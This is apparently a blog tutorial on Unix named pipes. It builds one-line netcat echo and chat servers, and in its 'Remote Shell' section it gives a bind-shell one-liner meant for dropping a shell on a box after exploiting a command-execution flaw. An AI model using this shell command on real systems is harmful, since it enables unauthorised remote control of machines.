Fun with Pipes

Quite a while back I came across some interesting applications of named pipes that I thought I should share with everybody.

First, some background.


Commonly, pipes are used in the shell to redirect the stdout of one process to the stdin of another, you simply

$ cat myfile | grep sometext

Named pipes

Since | pipes are anonymous, they cannot be referenced externally. Named pipes on the other hand have an accesible path in the filesystem.

$ mkfifo /tmp/mypipe

These pipes allow us to setup flows across different shell commands. Data can be pumped in by one command and fed to another command. Like,

$ cat /tmp/mypipe

This command blocks till the named pipe spews and EOF marker.

And in another shell,

$ cat > /tmp/mypipe

Now, whatever you type in the this shell should be visible in the other shell. Press Ctrl-D to exit.

Named pipes are primarily used as IPC mechanisms along with UNIX sockets.

Now let’s get down to some interesting stuff. These pipes are of interest to me because they allow us to set up a very special kind of circular reference. That is, they allow a command’s own output to be part of it’s input!.

Echo Server

Let’s start of with something simple, an echo server. The principle is to simply echo the input of the user. As have probably noticed, this falls directly into the category of problems the circular reference property of named pipes solves – the input is the output.

The netcat utility helps us setup a simple listening socket that can be communicated with using stdin and stdout.

$ cat /tmp/mypipe | nc -l 59000 > /tmp/mypipe

Simply cating the contents of a pipe to the input of the nc command with the -l option that sets up a port to listen on and write any incoming data to the same pipe so that it’s echoed back. Then,

$ nc <network-address> 59000

There you have it, an echo server in one line of bash

Remote Shell

Suppose, you have discovered a vulnerability in some service that allows you to execute a single command on the shell. Now you want to drop a shell on that box. For something serious, you’re probably better of using Meterpreter but this is for cases where you just need a simple, quick and dirty hack!

Like the earlier snippet we set up a circular input path. The only difference being we pipe the user input through the bash interpreter that executes stdin and pipe it’s stdout back to the network socket.

$ cat /tmp/mypipe | bash | nc -l 59000 > /tmp/mypipe

Just connect to that port and you should have a working remote shell.

Chat Server

A chat server is another application that falls into the same problem domain. It recieves some input and simply relays that input to all connected users. It can be thought of as an echo server with multiple concurrent nodes.

Sadly though, the netcat utility only allows only a single active connection. Luckily, there’s this rewrite of the netcat tool that allows us to accept multiple incoming connections simultaneously.

$ cat /tmp/mypipe | ncat -l -k 59000 > /tmp/mypipe

Now multiple hosts can connect to that port and exchange messages with each other.